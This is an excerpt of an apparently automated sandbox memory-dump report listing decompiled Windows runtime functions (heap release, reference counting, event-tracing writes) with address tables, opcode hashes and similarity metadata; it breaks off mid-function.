0x03c491db
0x03c491e1
0x03c491e7
0x03c491fd
0x03c49203
0x03c4921e
0x03c49223
0x00000000
0x03c49205
0x03c49205
0x03c49208
0x03c4920c
0x03c49214
0x03c49214
0x03c4920c
0x03c491e9
0x03c491e9
0x03c491ee
0x03c491f3
0x03c491f3
0x03c491f3
0x03c491e7
0x00000000
0x00000000
0x00000000
0x03c49134
0x03c49125
0x03c4911d
0x03c4914e
0x03c490d1
0x03c490d1
0x03c490d3
0x03c490d6
0x03c490d8
0x00000000
0x03c490d8
0x03c490cf

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30a500c7d5e7828167cfa7920c60d5c1009ee05580a131ad8b4c72f56e480eaa
Instruction ID: a7a0f1ea426bd5d58ea5fcbbec46af7d2b4e7c36cb75aca44f3842537c1b5103
Opcode Fuzzy Hash: 30a500c7d5e7828167cfa7920c60d5c1009ee05580a131ad8b4c72f56e480eaa
Instruction Fuzzy Hash: DF01A4729016148FC715DF14D840B12B7E9EF8A320F2941A6E505CF791C374DD41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03CDC450, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E03CDC450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E03C89910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E03C895B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E03C895D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E03C895D0();
				return L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x03cdc458
0x03cdc45d
0x03cdc466
0x03cdc468
0x03cdc469
0x03cdc46a
0x03cdc46b
0x03cdc46e
0x03cdc46f
0x03cdc471
0x03cdc476
0x03cdc476
0x03cdc47c
0x03cdc47e
0x03cdc480
0x03cdc480
0x03cdc483
0x03cdc484
0x03cdc486
0x03cdc488
0x03cdc48f
0x03cdc491
0x03cdc493
0x03cdc493
0x03cdc48f
0x03cdc498
0x03cdc49e
0x03cdc4ad
0x03cdc4ad
0x03cdc4b2
0x03cdc4b4
0x03cdc4cd

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: 3cbd30cab3a06e0964edbbc0b5a7da605fc0177646691cda3381ca3854ca7b8b
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: B801CC76140605BFD622FF25CC80E72F76DFB54394F058629F215CA9A0CB32ADA1DAA0

Uniqueness

Uniqueness Score: -1.00%

Function 03D14015, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E03D14015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E03C62280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E03C62280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x3d386ac);
					E03C4F900(0x3d386d4, _t28);
					E03C5FFB0(0x3d386ac, _t28, 0x3d386ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E03C5FFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x03d1401a
0x03d1401e
0x03d14023
0x03d14028
0x03d14029
0x03d1402b
0x03d1402f
0x03d14043
0x03d14046
0x03d14051
0x03d14057
0x03d1405f
0x03d14062
0x03d14067
0x03d1406f
0x03d1407c
0x03d1407c
0x03d1408c
0x03d1408c
0x03d14097

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c04c032e6f29f9fd99b1b8b9c0e4d7941d4ebfe7751fb21f42b0e61cb5882202
Instruction ID: 5a58b78548138195d5d36e6ec0b7df6dccc1600b0fe85041878e0fd8f7b2258e
Opcode Fuzzy Hash: c04c032e6f29f9fd99b1b8b9c0e4d7941d4ebfe7751fb21f42b0e61cb5882202
Instruction Fuzzy Hash: 1B018F76241A49BFC251EB7ACD80E17B7ACEB45664B010629F508CBA11CB28EC65D6E4

Uniqueness

Uniqueness Score: -1.00%

Function 03D0138A, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E03D0138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x3d3d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E03C8FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E03C67D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x03d0138a
0x03d0138a
0x03d01399
0x03d013a3
0x03d013a8
0x03d013aa
0x03d013b5
0x03d013bb
0x03d013c3
0x03d013c6
0x03d013c9
0x03d013d4
0x03d013e6
0x03d013d6
0x03d013df
0x03d013df
0x03d013f1
0x03d013f2
0x03d013f4
0x03d013f9
0x03d0140e

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dfb954150341ba944adcef884eb456fced01f9a9816aefe2b26515a0c6779d3
Instruction ID: 95a59a065c9efa9e19319dad9b55de4f3b54a20f0b03ddb05ec5d3506537aca4
Opcode Fuzzy Hash: 7dfb954150341ba944adcef884eb456fced01f9a9816aefe2b26515a0c6779d3
Instruction Fuzzy Hash: 5A014075E00318ABDB14EFA9D881BAEB7B8EF44714F014056B905EB280D674DE01DB95

Uniqueness

Uniqueness Score: -1.00%

Function 03D014FB, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E03D014FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x3d3d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E03C8FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E03C67D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x03d014fb
0x03d014fb
0x03d0150a
0x03d01514
0x03d01519
0x03d0151b
0x03d01526
0x03d0152c
0x03d01534
0x03d01537
0x03d0153a
0x03d01545
0x03d01557
0x03d01547
0x03d01550
0x03d01550
0x03d01562
0x03d01563
0x03d01565
0x03d0156a
0x03d0157f

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3e86a01953351983c57840d77a673755ff9b7f298ef9d50e70427c32a8fef72
Instruction ID: f516030c72b636fa5e10bdc03e7290c09558243f417fd87dab2e8c750b39d799
Opcode Fuzzy Hash: e3e86a01953351983c57840d77a673755ff9b7f298ef9d50e70427c32a8fef72
Instruction Fuzzy Hash: AA016975A00248ABCB04EFA8D845AAEBBB8EF44714F00406AB905EB380DA74DE00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03C458EC, Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E03C458EC(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0x3d3d360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0x3c25c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E03C45943() != 0 &&  *0x3d35320 > 5) {
					E03CC7B5E( &_v44, _t27);
					_t22 =  &_v28;
					E03CC7B5E( &_v28, _t28);
					_t11 = E03CC7B9C(0x3d35320, 0x3c2bf15,  &_v28, _t22, 4,  &_v76);
				}
				return E03C8B640(_t11, _t17, _v8 ^ _t29, 0x3c2bf15, _t27, _t28);
			}

0x03c458fb
0x03c458fe
0x03c45906
0x03c4590a
0x03c4593c
0x03c4593c
0x03c4590c
0x03c4590c
0x03c45911
0x00000000
0x03c45913
0x03c45913
0x03c45913
0x03c45911
0x03c4591d
0x03ca1035
0x03ca103c
0x03ca103f
0x03ca1056
0x03ca1056
0x03c4593b

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21518378a9f9b086294115321aa56b7a169d41890997bac43c5e5c913b1d8f46
Instruction ID: bb1a039bc3857bb37e249b47359fd85b2b15de30b29adc34e8b35a56168d4d4a
Opcode Fuzzy Hash: 21518378a9f9b086294115321aa56b7a169d41890997bac43c5e5c913b1d8f46
Instruction Fuzzy Hash: 7601A276A106089BC714EF69D8109AFB7ADEF46270F590069E805DF244DE30DE06CA91

Uniqueness

Uniqueness Score: -1.00%

Function 03D11074, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03D11074(intOrPtr __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E03D1165E(__ebx, 0x3d38ae4, (__edx -  *0x3d38b04 >> 0x14) + (__edx -  *0x3d38b04 >> 0x14), __edi, __ecx, (__edx -  *0x3d38b04 >> 0x14) + (__edx -  *0x3d38b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E03D0AFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E03C67D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E03CFFE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}

0x03d11074
0x03d11080
0x03d11082
0x03d1108a
0x03d1108f
0x03d11093
0x03d110ab
0x03d110ab
0x03d110c3
0x03d110cf
0x03d110e1
0x03d110d1
0x03d110da
0x03d110da
0x03d110e9
0x03d110f5
0x03d110f5
0x03d110fe

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367a3b74a4216e4ba203f380d2ab03dfa5d2a14aff4dd0fa71495c15e7b2eeb5
Instruction ID: 2966ae199efdd9feda7ff9ddad3fc8fafbdc4612250a2e0d75f89e92b7923684
Opcode Fuzzy Hash: 367a3b74a4216e4ba203f380d2ab03dfa5d2a14aff4dd0fa71495c15e7b2eeb5
Instruction Fuzzy Hash: 77014C76904741AFC711EF29D840B1AB7D5FB84354F04C919F985C7390DE30D964DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 03C5B02A, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C5B02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E03C67D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E03CC7016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x03c5b037
0x03c5b039
0x03c5b03b
0x03c5b040
0x03caa60e
0x00000000
0x00000000
0x03caa61d
0x03c5b04b
0x03c5b04e
0x03caa627
0x03caa634
0x00000000
0x00000000
0x03caa641
0x03caa653
0x03caa643
0x03caa64c
0x03caa64c
0x03caa65b
0x00000000
0x00000000
0x00000000
0x03caa66c
0x03c5b057
0x03c5b057
0x03c5b057
0x03c5b046
0x03c5b046
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: 5b14250fbbbc0135dfe51fd051338a5c2161b5bd4b6ecbba428b5ae688375114
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: B1018FB2204A819FD322C71DC988F76BBDCEB85754F0D40A1F919CFA92D728DD80CA24

Uniqueness

Uniqueness Score: -1.00%

Function 03CFFEC0, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E03CFFEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x3d3d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E03C8FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E03C67D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x03cffec0
0x03cffec0
0x03cffecf
0x03cffed9
0x03cffede
0x03cffee0
0x03cffeeb
0x03cffef3
0x03cffef6
0x03cffef9
0x03cfff04
0x03cfff16
0x03cfff06
0x03cfff0f
0x03cfff0f
0x03cfff21
0x03cfff22
0x03cfff24
0x03cfff29
0x03cfff3e

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 806fec0be73c0d27441c5a5ad043475994497e833c2cb538ecf122e03fdda7af
Instruction ID: 35b65e1548f9e770fe0233e2ed12ec1bd9933f108c4a6031a14bd3fc50466120
Opcode Fuzzy Hash: 806fec0be73c0d27441c5a5ad043475994497e833c2cb538ecf122e03fdda7af
Instruction Fuzzy Hash: 1E017175A00208AFDB14EBA9D845AAEB7B8EB44714F41406AF901EB290DA749A01C795

Uniqueness

Uniqueness Score: -1.00%

Function 03CFFE3F, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E03CFFE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x3d3d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E03C8FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E03C67D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x03cffe3f
0x03cffe3f
0x03cffe4e
0x03cffe58
0x03cffe5d
0x03cffe5f
0x03cffe6a
0x03cffe72
0x03cffe75
0x03cffe78
0x03cffe83
0x03cffe95
0x03cffe85
0x03cffe8e
0x03cffe8e
0x03cffea0
0x03cffea1
0x03cffea3
0x03cffea8
0x03cffebd

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f38f8cbbc5621a8ed186c24cbe8b911c5723cf348990d7f6b949c0eea4c997e7
Instruction ID: 9708be86838d5fbea8d7598f11590b11af8e079304649152512a27d55360cc8f
Opcode Fuzzy Hash: f38f8cbbc5621a8ed186c24cbe8b911c5723cf348990d7f6b949c0eea4c997e7
Instruction Fuzzy Hash: 17017175A00308AFDB14EFA9D845EAEB7B8EF44714F01406AF900EB291DA749A01C795

Uniqueness

Uniqueness Score: -1.00%

Function 03D18A62, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E03D18A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x3d3d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E03C67D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E03C8B640(E03C89AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x03d18a62
0x03d18a71
0x03d18a79
0x03d18a82
0x03d18a85
0x03d18a89
0x03d18a8c
0x03d18a8f
0x03d18a92
0x03d18a95
0x03d18a9f
0x03d18ab1
0x03d18aa1
0x03d18aaa
0x03d18aaa
0x03d18abc
0x03d18abd
0x03d18abf
0x03d18ac4
0x03d18ada

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dff7643aeecfa010d0778b5c087411d12964478960fdbc0605de6c170dc56a55
Instruction ID: dfc680383b39fcb22fd409614fab88db00022d3387f37528d71363ef775b8f6e
Opcode Fuzzy Hash: dff7643aeecfa010d0778b5c087411d12964478960fdbc0605de6c170dc56a55
Instruction Fuzzy Hash: 08011A75A00218AFCB04EFA9D9819EEB7B8FF48714F10405AF905EB351D634AE109BA0

Uniqueness

Uniqueness Score: -1.00%

Function 03D18ED6, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E03D18ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x3d3d360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E03C67D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x03d18ed6
0x03d18ee5
0x03d18eed
0x03d18ef0
0x03d18efa
0x03d18f03
0x03d18f0c
0x03d18f15
0x03d18f24
0x03d18f27
0x03d18f31
0x03d18f43
0x03d18f33
0x03d18f3c
0x03d18f3c
0x03d18f4e
0x03d18f4f
0x03d18f51
0x03d18f56
0x03d18f69

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb8013f8ae4aa2fa182691641a0c2ce77a0528b10eb794df2d2874011c136af
Instruction ID: eeac8e33a60f311e494699b5c2de71aab898381a46a0a2714ca4ca57d3599565
Opcode Fuzzy Hash: 5eb8013f8ae4aa2fa182691641a0c2ce77a0528b10eb794df2d2874011c136af
Instruction Fuzzy Hash: D8111E74E002099FDB04DFA8D441BAEF7F4FF08304F0442AAE519EB382E6349A40DB90

Uniqueness

Uniqueness Score: -1.00%

Function 03C4DB60, Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C4DB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E03C4DB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E03C4E7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L03C4E8B0(__ecx, _t14, 0xfff);
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x03c4db64
0x03c4db66
0x03c4db6b
0x03c4dbaa
0x03c4db71
0x03c4db76
0x03c4db7a
0x03c4dba3
0x03c4db7c
0x03c4db87
0x03c4db8b
0x03ca4fa1
0x03ca4fb3
0x03ca4fb8
0x03c4db91
0x03c4db96
0x03c4db98
0x03c4db98
0x03c4db8b
0x03c4db7a
0x03c4db9d
0x03c4dba2

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: 6a4d91167a7ce0964070cbfd1a6bf434026be15f0ce70f260cb7fa99f99f4827
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: BBF068372416229FD732FA5A4888B67A6959F81A60F1B0475F506DF345CD64880296D1

Uniqueness

Uniqueness Score: -1.00%

Function 03C4B1E1, Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C4B1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E03C67D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E03C67D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
